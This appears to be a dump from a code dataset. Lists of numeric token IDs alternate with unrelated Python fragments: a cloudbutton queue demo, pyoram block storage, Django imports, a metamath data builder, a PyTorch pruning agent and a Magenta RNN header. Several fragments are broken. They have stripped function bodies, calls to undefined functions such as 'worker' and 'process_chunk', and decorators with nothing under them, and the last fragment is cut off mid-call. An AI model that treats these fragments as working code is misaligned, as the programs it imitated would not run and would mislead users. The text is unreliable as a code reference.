220, 1303, 16926, 46, 25, 13610, 43403, 198, 220, 220, 220, 279, 565, 62, 48205, 62, 12984, 796, 686, 2777, 88, 13, 46471, 7203, 14, 79, 565, 62, 48205, 1600, 6252, 18839, 17, 11, 16834, 62, 7857, 28, 16, 8, 198, 220, 220, 220, 279, 565, 62, 11487, 62, 12984, 796, 686, 2777, 88, 13, 46471, 7203, 14, 79, 565, 62, 11487, 1600, 6252, 18839, 17, 11, 16834, 62, 7857, 28, 16, 8, 198, 220, 220, 220, 279, 565, 62, 565, 5819, 62, 12984, 796, 686, 2777, 88, 13, 46471, 7203, 79, 565, 62, 565, 5819, 1600, 6252, 18839, 17, 11, 16834, 62, 7857, 28, 16, 8, 628, 220, 220, 220, 1303, 13610, 43403, 198, 220, 220, 220, 1303, 16926, 46, 25, 994, 345, 761, 284, 2251, 734, 17604, 198, 220, 220, 220, 1303, 4889, 606, 2134, 62, 4102, 364, 62, 12984, 290, 12326, 62, 48205, 62, 12984, 198, 220, 220, 220, 1303, 8192, 606, 7715, 284, 12813, 15252, 62, 4102, 364, 1, 290, 12813, 15255, 11197, 62, 48205, 1, 351, 220, 198, 220, 220, 220, 1303, 16000, 24897, 366, 9704, 263, 1, 290, 366, 11242, 11197, 10267, 82, 19182, 1, 837, 8148, 198, 220, 220, 220, 2134, 62, 4102, 364, 62, 12984, 796, 686, 2777, 88, 13, 46471, 7203, 14, 15252, 62, 4102, 364, 1600, 2940, 263, 11, 16834, 62, 7857, 28, 16, 8, 198, 220, 220, 220, 12326, 62, 48205, 62, 12984, 796, 686, 2777, 88, 13, 46471, 7203, 14, 15255, 11197, 62, 48205, 1600, 46497, 10267, 82, 19182, 11, 16834, 62, 7857, 28, 16, 8, 628, 220, 220, 220, 1303, 16926, 46, 25, 8778, 9104, 3574, 11898, 198, 220, 220, 220, 2746, 796, 2298, 293, 13, 2220, 7, 9654, 10786, 19849, 13, 39308, 3256, 705, 26145, 6, 4008, 198, 220, 220, 220, 537, 69, 796, 2746, 17816, 4871, 7483, 20520, 198, 220, 220, 220, 2207, 12342, 796, 36052, 27195, 12342, 3419, 198, 220, 220, 220, 2207, 12342, 13, 37724, 62, 796, 2746, 17816, 37724, 20520, 198, 220, 220, 220, 16578, 263, 796, 2746, 17816, 1416, 36213, 20520, 628, 220, 220, 220, 1303, 20768, 1096, 3124, 62, 4868, 198, 220, 220, 220, 651, 62, 8043, 62, 4868, 13, 8043, 62, 4868, 796, 17635, 628, 220, 220, 220, 1303, 16926, 46, 25, 28002, 981, 10139, 318, 407, 18325, 198, 220, 220, 220, 981, 407, 686, 2777, 88, 13, 271, 62, 49625, 2902, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 686, 2777, 88, 13, 39706, 3419, 198 ]
2.910987
719
from cloudbutton.multiprocessing import Process, JoinableQueue if __name__ == '__main__': q = JoinableQueue() p = Process(target=worker, args=(q,)) p.start() for x in range(10): q.put(x) # uncomment to hang on the q.join #q.put(11) q.join() q.put(-1) # end loop p.join()
[ 6738, 6279, 16539, 13, 16680, 541, 305, 919, 278, 1330, 10854, 11, 15251, 540, 34991, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 10662, 796, 15251, 540, 34991, 3419, 198, 220, 220, 220, 279, 796, 10854, 7, 16793, 28, 28816, 11, 26498, 16193, 80, 11, 4008, 198, 220, 220, 220, 279, 13, 9688, 3419, 628, 220, 220, 220, 329, 2124, 287, 2837, 7, 940, 2599, 220, 198, 220, 220, 220, 220, 220, 220, 220, 10662, 13, 1996, 7, 87, 8, 628, 220, 220, 220, 1303, 8820, 434, 284, 8181, 319, 262, 10662, 13, 22179, 198, 220, 220, 220, 1303, 80, 13, 1996, 7, 1157, 8, 198, 220, 220, 220, 10662, 13, 22179, 3419, 628, 220, 220, 220, 10662, 13, 1996, 32590, 16, 8, 1303, 886, 9052, 198, 220, 220, 220, 279, 13, 22179, 3419, 198 ]
2.236111
144
__all__ = ('BlockStorageFile',) import os import struct import logging import errno from multiprocessing.pool import ThreadPool import pyoram from pyoram.storage.block_storage import \ (BlockStorageInterface, BlockStorageTypeFactory) import tqdm import six from six.moves import xrange log = logging.getLogger("pyoram") class BlockStorageFile(BlockStorageInterface): """ A class implementing the block storage interface using a local file. """ _index_struct_string = "!LLL?" _index_offset = struct.calcsize(_index_struct_string) # This method is usually executed in another thread, so # do not attempt to handle exceptions because it will # not work. # # Define BlockStorageInterface Methods # @classmethod @classmethod @property @property @property @property @property @property BlockStorageTypeFactory.register_device("file", BlockStorageFile)
[ 834, 439, 834, 796, 19203, 12235, 31425, 8979, 3256, 8, 198, 198, 11748, 28686, 198, 11748, 2878, 198, 11748, 18931, 198, 11748, 11454, 3919, 198, 6738, 18540, 305, 919, 278, 13, 7742, 1330, 14122, 27201, 198, 198, 11748, 12972, 273, 321, 198, 6738, 12972, 273, 321, 13, 35350, 13, 9967, 62, 35350, 1330, 3467, 198, 220, 220, 220, 357, 12235, 31425, 39317, 11, 198, 220, 220, 220, 220, 9726, 31425, 6030, 22810, 8, 198, 198, 11748, 256, 80, 36020, 198, 11748, 2237, 198, 6738, 2237, 13, 76, 5241, 1330, 2124, 9521, 198, 198, 6404, 796, 18931, 13, 1136, 11187, 1362, 7203, 9078, 273, 321, 4943, 198, 198, 4871, 9726, 31425, 8979, 7, 12235, 31425, 39317, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 317, 1398, 15427, 262, 2512, 6143, 7071, 198, 220, 220, 220, 1262, 257, 1957, 2393, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 4808, 9630, 62, 7249, 62, 8841, 796, 366, 0, 3069, 43, 1701, 198, 220, 220, 220, 4808, 9630, 62, 28968, 796, 2878, 13, 9948, 6359, 1096, 28264, 9630, 62, 7249, 62, 8841, 8, 628, 220, 220, 220, 1303, 770, 2446, 318, 3221, 10945, 287, 1194, 4704, 11, 523, 198, 220, 220, 220, 1303, 466, 407, 2230, 284, 5412, 13269, 780, 340, 481, 198, 220, 220, 220, 1303, 407, 670, 13, 628, 220, 220, 220, 1303, 198, 220, 220, 220, 1303, 2896, 500, 9726, 31425, 39317, 25458, 198, 220, 220, 220, 1303, 628, 220, 220, 220, 2488, 4871, 24396, 628, 220, 220, 220, 2488, 4871, 24396, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 198, 198, 12235, 31425, 6030, 22810, 13, 30238, 62, 25202, 7203, 7753, 1600, 9726, 31425, 8979, 8, 198 ]
3.080906
309
from django.contrib.auth.mixins import LoginRequiredMixin from django.apps import apps from django.views.generic import DetailView, CreateView from django.http import HttpResponse, HttpRequest, request from django.core.signals import request_finished from django.dispatch import receiver Company = apps.get_model('Company', 'Company')
[ 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 19816, 1040, 1330, 23093, 37374, 35608, 259, 198, 6738, 42625, 14208, 13, 18211, 1330, 6725, 198, 6738, 42625, 14208, 13, 33571, 13, 41357, 1330, 42585, 7680, 11, 13610, 7680, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 11, 367, 29281, 18453, 11, 2581, 198, 6738, 42625, 14208, 13, 7295, 13, 12683, 874, 1330, 2581, 62, 43952, 198, 6738, 42625, 14208, 13, 6381, 17147, 1330, 9733, 198, 198, 39154, 796, 6725, 13, 1136, 62, 19849, 10786, 39154, 3256, 705, 39154, 11537, 628, 198 ]
3.634409
93
import time from tree_parser import * from data_utils5 import * import os import withpool text = file_contents() database = meta_math_database(text,n=None, remember_proof_steps=True) print() lm = LanguageModel(database) saved_interface = None # import import build_payout_data_set as pd pd.initialize_interface(lm, 'searcher') valp = lm.validation_propositions testp = lm.test_propositions trainp = lm.training_propositions chunk_size = len(trainp)//8 chunks = [ valp, testp, trainp[:chunk_size], trainp[chunk_size:2*chunk_size], trainp[2*chunk_size:3*chunk_size], trainp[3*chunk_size:4*chunk_size], trainp[4*chunk_size:5*chunk_size], trainp[5*chunk_size:6*chunk_size], trainp[6*chunk_size:7*chunk_size], trainp[7*chunk_size:] ] for i, chunk in enumerate(chunks): filename = 'payout_data_'+str(i) if os.path.exists(filename): continue # okay. we're doing this one. # claim it. with open(filename, 'wb') as handle: pickle.dump(None, handle) # do the stuff. print('generating chunk: '+filename) with withpool.Pool(None) as pool: allpds = pool.map(process_chunk, [(i,j) for j in range(len(chunk))], chunksize=1) print('saving '+filename) with open(filename, 'wb') as handle: pickle.dump(allpds, handle) # # def validation_data(n): # print 'starting item',n # return pd.PropositionsData(valp[n]) ''' let's do this in chunks import withpool with withpool.Pool(8) as pool: start = time.time() allpds = {} allpds['validation'] = pool.map(validation_data, range(len(valp)), chunksize=1) print (time.time()-start), (time.time()-start)/len(valp) allpds['test'] = pool.map(test_data, range(len(testp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)) allpds['training'] = pool.map(training_data, range(len(trainp)), chunksize=1) print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)+len(trainp)) print 'saving database' import pickle with open('payout_data','wb') as handle: pickle.dump(allpds, handle) '''
[ 11748, 640, 198, 6738, 5509, 62, 48610, 1330, 1635, 198, 6738, 1366, 62, 26791, 20, 1330, 1635, 198, 11748, 28686, 198, 11748, 351, 7742, 198, 198, 5239, 796, 2393, 62, 3642, 658, 3419, 198, 48806, 796, 13634, 62, 11018, 62, 48806, 7, 5239, 11, 77, 28, 14202, 11, 3505, 62, 13288, 62, 20214, 28, 17821, 8, 198, 4798, 3419, 198, 75, 76, 796, 15417, 17633, 7, 48806, 8, 198, 198, 82, 9586, 62, 39994, 796, 6045, 628, 198, 198, 2, 1330, 198, 11748, 1382, 62, 15577, 448, 62, 7890, 62, 2617, 355, 279, 67, 198, 30094, 13, 36733, 1096, 62, 39994, 7, 75, 76, 11, 705, 325, 283, 2044, 11537, 628, 198, 2100, 79, 796, 300, 76, 13, 12102, 341, 62, 1676, 1930, 1756, 198, 9288, 79, 796, 300, 76, 13, 9288, 62, 1676, 1930, 1756, 198, 27432, 79, 796, 300, 76, 13, 34409, 62, 1676, 1930, 1756, 198, 198, 354, 2954, 62, 7857, 796, 18896, 7, 27432, 79, 8, 1003, 23, 198, 354, 14125, 796, 685, 198, 2100, 79, 11, 198, 9288, 79, 11, 198, 27432, 79, 58, 25, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 354, 2954, 62, 7857, 25, 17, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 17, 9, 354, 2954, 62, 7857, 25, 18, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 18, 9, 354, 2954, 62, 7857, 25, 19, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 19, 9, 354, 2954, 62, 7857, 25, 20, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 20, 9, 354, 2954, 62, 7857, 25, 21, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 21, 9, 354, 2954, 62, 7857, 25, 22, 9, 354, 2954, 62, 7857, 4357, 198, 27432, 79, 58, 22, 9, 354, 2954, 62, 7857, 47715, 198, 60, 198, 198, 1640, 1312, 11, 16058, 287, 27056, 378, 7, 354, 14125, 2599, 198, 220, 220, 220, 29472, 796, 705, 15577, 448, 62, 7890, 62, 6, 10, 2536, 7, 72, 8, 198, 220, 220, 220, 611, 28686, 13, 6978, 13, 1069, 1023, 7, 34345, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 1303, 8788, 13, 220, 356, 821, 1804, 428, 530, 13, 198, 220, 220, 220, 1303, 1624, 340, 13, 198, 220, 220, 220, 351, 1280, 7, 34345, 11, 705, 39346, 11537, 355, 5412, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2298, 293, 13, 39455, 7, 14202, 11, 5412, 8, 628, 220, 220, 220, 1303, 466, 262, 3404, 13, 198, 220, 220, 220, 3601, 10786, 8612, 803, 16058, 25, 705, 10, 34345, 8, 198, 220, 220, 220, 351, 351, 7742, 13, 27201, 7, 14202, 8, 355, 5933, 25, 198, 220, 220, 220, 220, 220, 220, 220, 477, 79, 9310, 796, 5933, 13, 8899, 7, 14681, 62, 354, 2954, 11, 47527, 72, 11, 73, 8, 329, 474, 287, 2837, 7, 11925, 7, 354, 2954, 4008, 4357, 22716, 1096, 28, 16, 8, 628, 220, 220, 220, 3601, 10786, 29336, 705, 10, 34345, 8, 198, 220, 220, 220, 351, 1280, 7, 34345, 11, 705, 39346, 11537, 355, 5412, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2298, 293, 13, 39455, 7, 439, 79, 9310, 11, 5412, 8, 198, 198, 2, 198, 2, 825, 21201, 62, 7890, 7, 77, 2599, 198, 2, 220, 220, 220, 220, 3601, 705, 38690, 2378, 3256, 77, 198, 2, 220, 220, 220, 220, 1441, 279, 67, 13, 24331, 418, 1756, 6601, 7, 2100, 79, 58, 77, 12962, 198, 198, 7061, 6, 1309, 338, 466, 428, 287, 22716, 628, 198, 11748, 351, 7742, 198, 4480, 351, 7742, 13, 27201, 7, 23, 8, 355, 5933, 25, 198, 220, 220, 220, 923, 796, 640, 13, 2435, 3419, 198, 220, 220, 220, 477, 79, 9310, 796, 23884, 198, 220, 220, 220, 477, 79, 9310, 17816, 12102, 341, 20520, 796, 5933, 13, 8899, 7, 12102, 341, 62, 7890, 11, 2837, 7, 11925, 7, 2100, 79, 36911, 22716, 1096, 28, 16, 8, 198, 220, 220, 220, 3601, 357, 2435, 13, 2435, 3419, 12, 9688, 828, 357, 2435, 13, 2435, 3419, 12, 9688, 20679, 11925, 7, 2100, 79, 8, 198, 220, 220, 220, 477, 79, 9310, 17816, 9288, 20520, 796, 5933, 13, 8899, 7, 9288, 62, 7890, 11, 2837, 7, 11925, 7, 9288, 79, 36911, 22716, 1096, 28, 16, 8, 198, 220, 220, 220, 3601, 357, 2435, 13, 2435, 3419, 12, 9688, 828, 357, 2435, 13, 2435, 3419, 12, 9688, 20679, 7, 11925, 7, 2100, 79, 47762, 11925, 7, 9288, 79, 4008, 198, 220, 220, 220, 477, 79, 9310, 17816, 34409, 20520, 796, 5933, 13, 8899, 7, 34409, 62, 7890, 11, 2837, 7, 11925, 7, 27432, 79, 36911, 22716, 1096, 28, 16, 8, 198, 220, 220, 220, 3601, 357, 2435, 13, 2435, 3419, 12, 9688, 828, 357, 2435, 13, 2435, 3419, 12, 9688, 20679, 7, 11925, 7, 2100, 79, 47762, 11925, 7, 9288, 79, 47762, 11925, 7, 27432, 79, 4008, 628, 198, 4798, 705, 29336, 6831, 6, 198, 198, 11748, 2298, 293, 198, 4480, 1280, 10786, 15577, 448, 62, 7890, 41707, 39346, 11537, 355, 5412, 25, 198, 220, 220, 220, 2298, 293, 13, 39455, 7, 439, 79, 9310, 11, 5412, 8, 198, 220, 220, 220, 705, 7061, 198 ]
2.411561
865
# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import edgedb from edgedb import _testbase as tb
[ 2, 198, 2, 770, 2723, 2393, 318, 636, 286, 262, 13113, 11012, 1280, 2723, 1628, 13, 198, 2, 198, 2, 15069, 1584, 12, 25579, 6139, 25896, 3457, 13, 290, 262, 13113, 11012, 7035, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 2, 628, 198, 11748, 45871, 65, 198, 198, 6738, 45871, 65, 1330, 4808, 9288, 8692, 355, 256, 65, 628 ]
3.734694
196
"""This file contains the implementation for basic pruning operations on arbitrary torch modules.""" import torch import torch.nn as nn import copy from condense.optimizer.sparsity_functions import Constant def calc_parameter_sparsity(p): """Calculates the sparsity percentage of a torch parameter. Args: p: torch parameter Returns: sparsity percentage (as float) with range [0.0, 1.0] """ x = torch.sum((torch.flatten(p) == 0).float()) return float(x) / p.numel() def masking_fn(X, t_sparsity): """Default masking function used by the PruningAgent.""" threshold = torch.sort(torch.abs(X).flatten())[0][int(len(X.flatten()) * t_sparsity.get_epoch_sparsity())] return (torch.abs(X) > threshold).float() class PruningAgent(nn.Module): """This class augments an existing torch module with callbacks and parameter masks.""" def __init__(self, model, strategy=None, apply_mask=False, ignored_params=[]): """You need to pass a module and a constant sparsity strategy. Args: model (torch.nn.Module): existing torch module strategy: the sparisty target strategy apply_mask (boolean): if this is true a mask will get generated and applied on initialization ignored_params (list): no pruning gets applied onto the element in the list """ super(PruningAgent, self).__init__() self.model = model # create a list of parameters to prune _ignored_params = [] for param in ignored_params: if isinstance(param, nn.Module): _ignored_params.extend(list(param.parameters())) elif isinstance(param, nn.parameter.Parameter): _ignored_params.append(param) else: raise Exception('only parameters and modules are supported in argument ignored_params') self.to_prune = self.__get_parameters_to_prune(_ignored_params) # Parameter masks self.mask = {} self.masking_fn = masking_fn if strategy: if not isinstance(strategy, Constant): raise Exception('Currently only the constant sparsity strategy is supported.') self.layer_strategies = self.__init_per_layer_sparsity_strategies(strategy) self.init_parameter_masks(not apply_mask) self.__wrap_sub_modules() def init_parameter_masks(self, initialize_ones=True): """Initialize parameter masks. Args: initialize_ones (boolean): initialize mask values as 1 (no masking) """ for p in self.to_prune: if initialize_ones: self.mask[p] = torch.ones(p.size()) else: self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) p.data = p.data * self.mask[p] # apply mask to corresponding parameter def __wrap_sub_modules(self): """Applies pruning functionality to every parameter of the actual model.""" for param in self.to_prune: param.register_hook(lambda g, p=param: g * self.mask[p]) # param.register_hook(lambda g, p=param: self._update_parameter_mask(p)) # param.register_hook(lambda g, p=param: self.layer_strategies[p].next_epoch()) def _update_parameter_mask(self, p): """Update masks for a parameter p.""" self.mask[p] = self.masking_fn(p, self.layer_strategies[p]) def get_parameter_sparsity(self): """Get a list of the sparsity percentages of every model parameter.""" return [calc_parameter_sparsity(p) for p in self.model.parameters()]
[ 37811, 1212, 2393, 4909, 262, 7822, 329, 4096, 778, 46493, 4560, 319, 14977, 28034, 13103, 526, 15931, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 4866, 198, 6738, 1779, 1072, 13, 40085, 7509, 13, 2777, 45826, 62, 12543, 2733, 1330, 20217, 628, 198, 4299, 42302, 62, 17143, 2357, 62, 2777, 45826, 7, 79, 2599, 198, 220, 220, 220, 37227, 9771, 3129, 689, 262, 599, 45826, 5873, 286, 257, 28034, 11507, 13, 628, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 279, 25, 28034, 11507, 198, 220, 220, 220, 16409, 25, 599, 45826, 5873, 357, 292, 12178, 8, 351, 2837, 685, 15, 13, 15, 11, 352, 13, 15, 60, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2124, 796, 28034, 13, 16345, 19510, 13165, 354, 13, 2704, 41769, 7, 79, 8, 6624, 657, 737, 22468, 28955, 198, 220, 220, 220, 1441, 12178, 7, 87, 8, 1220, 279, 13, 22510, 417, 3419, 628, 198, 4299, 9335, 278, 62, 22184, 7, 55, 11, 256, 62, 2777, 45826, 2599, 198, 220, 220, 220, 37227, 19463, 9335, 278, 2163, 973, 416, 262, 1736, 46493, 36772, 526, 15931, 198, 220, 220, 220, 11387, 796, 28034, 13, 30619, 7, 13165, 354, 13, 8937, 7, 55, 737, 2704, 41769, 28955, 58, 15, 7131, 600, 7, 11925, 7, 55, 13, 2704, 41769, 28955, 1635, 256, 62, 2777, 45826, 13, 1136, 62, 538, 5374, 62, 2777, 45826, 3419, 15437, 198, 220, 220, 220, 1441, 357, 13165, 354, 13, 8937, 7, 55, 8, 1875, 11387, 737, 22468, 3419, 628, 198, 4871, 1736, 46493, 36772, 7, 20471, 13, 26796, 2599, 198, 220, 220, 220, 37227, 1212, 1398, 16339, 902, 281, 4683, 28034, 8265, 351, 869, 10146, 290, 11507, 20680, 526, 15931, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 2746, 11, 4811, 28, 14202, 11, 4174, 62, 27932, 28, 25101, 11, 9514, 62, 37266, 28, 21737, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 1639, 761, 284, 1208, 257, 8265, 290, 257, 6937, 599, 45826, 4811, 13, 628, 220, 220, 220, 220, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2746, 357, 13165, 354, 13, 20471, 13, 26796, 2599, 4683, 28034, 8265, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4811, 25, 262, 599, 34566, 88, 2496, 4811, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4174, 62, 27932, 357, 2127, 21052, 2599, 611, 428, 318, 2081, 257, 9335, 481, 651, 7560, 290, 5625, 319, 37588, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9514, 62, 37266, 357, 4868, 2599, 645, 778, 46493, 3011, 5625, 4291, 262, 5002, 287, 262, 1351, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 47, 5143, 278, 36772, 11, 2116, 737, 834, 15003, 834, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 19849, 796, 2746, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 2251, 257, 1351, 286, 10007, 284, 778, 1726, 198, 220, 220, 220, 220, 220, 220, 220, 4808, 570, 1850, 62, 37266, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 329, 5772, 287, 9514, 62, 37266, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 17143, 11, 299, 77, 13, 26796, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 570, 1850, 62, 37266, 13, 2302, 437, 7, 4868, 7, 17143, 13, 17143, 7307, 3419, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 318, 39098, 7, 17143, 11, 299, 77, 13, 17143, 2357, 13, 36301, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 570, 1850, 62, 37266, 13, 33295, 7, 17143, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 35528, 10786, 8807, 10007, 290, 13103, 389, 4855, 287, 4578, 9514, 62, 37266, 11537, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1462, 62, 1050, 1726, 796, 2116, 13, 834, 1136, 62, 17143, 7307, 62, 1462, 62, 1050, 1726, 28264, 570, 1850, 62, 37266, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 25139, 2357, 20680, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 27932, 796, 23884, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 27932, 278, 62, 22184, 796, 9335, 278, 62, 22184, 198, 220, 220, 220, 220, 220, 220, 220, 611, 4811, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 318, 39098, 7, 2536, 4338, 11, 20217, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 35528, 10786, 21327, 691, 262, 6937, 599, 45826, 4811, 318, 4855, 2637, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 29289, 62, 2536, 2397, 444, 796, 2116, 13, 834, 15003, 62, 525, 62, 29289, 62, 2777, 45826, 62, 2536, 2397, 444, 7, 2536, 4338, 8, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 15003, 62, 17143, 2357, 62, 5356, 591, 7, 1662, 4174, 62, 27932, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 834, 37150, 62, 7266, 62, 18170, 3419, 628, 220, 220, 220, 825, 2315, 62, 17143, 2357, 62, 5356, 591, 7, 944, 11, 41216, 62, 1952, 28, 17821, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 24243, 1096, 11507, 20680, 13, 628, 220, 220, 220, 220, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 41216, 62, 1952, 357, 2127, 21052, 2599, 41216, 9335, 3815, 355, 352, 357, 3919, 9335, 278, 8, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 329, 279, 287, 2116, 13, 1462, 62, 1050, 1726, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 41216, 62, 1952, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 27932, 58, 79, 60, 796, 28034, 13, 1952, 7, 79, 13, 7857, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 27932, 58, 79, 60, 796, 2116, 13, 27932, 278, 62, 22184, 7, 79, 11, 2116, 13, 29289, 62, 2536, 2397, 444, 58, 79, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 279, 13, 7890, 796, 279, 13, 7890, 1635, 2116, 13, 27932, 58, 79, 60, 220, 1303, 4174, 9335, 284, 11188, 11507, 628, 220, 220, 220, 825, 11593, 37150, 62, 7266, 62, 18170, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 4677, 13508, 778, 46493, 11244, 284, 790, 11507, 286, 262, 4036, 2746, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 329, 5772, 287, 2116, 13, 1462, 62, 1050, 1726, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5772, 13, 30238, 62, 25480, 7, 50033, 308, 11, 279, 28, 17143, 25, 308, 1635, 2116, 13, 27932, 58, 79, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 5772, 13, 30238, 62, 25480, 7, 50033, 308, 11, 279, 28, 17143, 25, 2116, 13557, 19119, 62, 17143, 2357, 62, 27932, 7, 79, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 5772, 13, 30238, 62, 25480, 7, 50033, 308, 11, 279, 28, 17143, 25, 2116, 13, 29289, 62, 2536, 2397, 444, 58, 79, 4083, 19545, 62, 538, 5374, 28955, 628, 220, 220, 220, 825, 4808, 19119, 62, 17143, 2357, 62, 27932, 7, 944, 11, 279, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 10260, 20680, 329, 257, 11507, 279, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 27932, 58, 79, 60, 796, 2116, 13, 27932, 278, 62, 22184, 7, 79, 11, 2116, 13, 29289, 62, 2536, 2397, 444, 58, 79, 12962, 628, 220, 220, 220, 825, 651, 62, 17143, 2357, 62, 2777, 45826, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 3855, 257, 1351, 286, 262, 599, 45826, 28071, 286, 790, 2746, 11507, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 685, 9948, 66, 62, 17143, 2357, 62, 2777, 45826, 7, 79, 8, 329, 279, 287, 2116, 13, 19849, 13, 17143, 7307, 3419, 60, 198 ]
2.486653
1,461
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Train polyphonic RNN.""" import functools import os # internal imports import numpy as np import tensorflow as tf from magenta.models.polyphonic_rnn import polyphonic_rnn_graph from magenta.models.polyphonic_rnn import polyphonic_rnn_lib FLAGS = tf.app.flags.FLAGS tf.app.flags.DEFINE_string( 'note_sequence_input', None, 'Polyphonic tfrecord NoteSequence file.') tf.app.flags.DEFINE_string( 'checkpoint_dir', 